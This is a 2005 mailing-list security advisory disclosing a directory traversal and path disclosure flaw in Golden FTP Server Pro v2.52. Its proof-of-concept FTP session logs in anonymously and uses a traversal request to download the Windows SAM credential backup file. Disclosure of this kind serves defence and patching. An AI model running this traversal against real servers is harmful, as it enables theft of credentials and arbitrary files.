Golden Ftp Server Pro - Directory Traversal Vuln

["Lachlan. H" <pseudonym_ok () yahoo com>]

Product: Golden Ftp Server Pro 

Affected Version(s) :  v2.52

***

Credit / Discovered by:         Lachlan. H

Date vendor notified:           02/05/2005

Patch Released:                 N/A

Disclosure:                     03/05/2005

***

External References:

http://secunia.com/advisories/15175/

http://www.securityfocus.com/bid/13479/info/

***

Product Description:
 
Golden FTP Server is extremely easy to use personal
FTP server for Windows and can be run by any person
who has the most basic computer skills. 
The program loads automatically on Windows startup and
you can identify the files you want to share with two
mouse clicks via the dialog window 
that works in the same way as the standard Windows
"Open File:" dialog or via the Windows Explorer
context menu. 
Golden FTP Server features clean and easy to
understand multi-lingual interface. Multi-threaded
downloads and ability to resume aborted downloads are
supported. 

***
 
Problem:

Directory Traversal / Path Disclosure.
 
It is possible for any user to break out of ftproot
via
directory traversal sequence. 
It is possible to access arbitrary files. It is also
possible to disclose shared path by requesting a
non-existent file.

Vulnerability found and tested on version 2.52. Other
versions may be affected.
 
 
In the following PoC c:\Temp is ftproot & mapped to
\Temp, for successful exploitation you must change
down (i.e, cd Temp) into the shared directory before
traversal sequence or disclosure of path.

No vendor response in relation to this issue. 
 
***

Fix:

Contact the vendor

www.goldenftpserver.com

***

PoC:

C:\>ftp ********
Connected to **********
220 Golden FTP Server PRO ready v2.52
User (********:(none)): anonymous
331 User name okay, need password.
Password:
230 User logged in, proceed.
ftp> cd Temp
250 CWD Command successful.
ftp> GET "\../winnt/repair/sam
200 PORT Command successful.
150 File status okay; about to open data connection.
226 Closing data connection.
ftp: 24576 bytes received in 1.10Seconds
22.32Kbytes/sec.
ftp> !dir sam
 Volume in drive C has no label.
 Volume Serial Number is F4A5-2272
 
 Directory of C:\
 
26/04/2005  11:30 AM            24,576 Sam
               1 File(s)         24,576 bytes
               0 Dir(s)  30,103,302,656 bytes free
ftp>
 
*

C:\>ftp ****
Connected to ****
220 Golden FTP Server PRO ready v2.52
User (******:(none)): anonymous
331 User name okay, need password.
Password:
230 User logged in, proceed.
ftp> cd Temp
250 CWD Command successful.
ftp> get C:\blah
200 PORT Command successful.
550 Cannot open file C:\Temp\C:\blah
 
***



__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com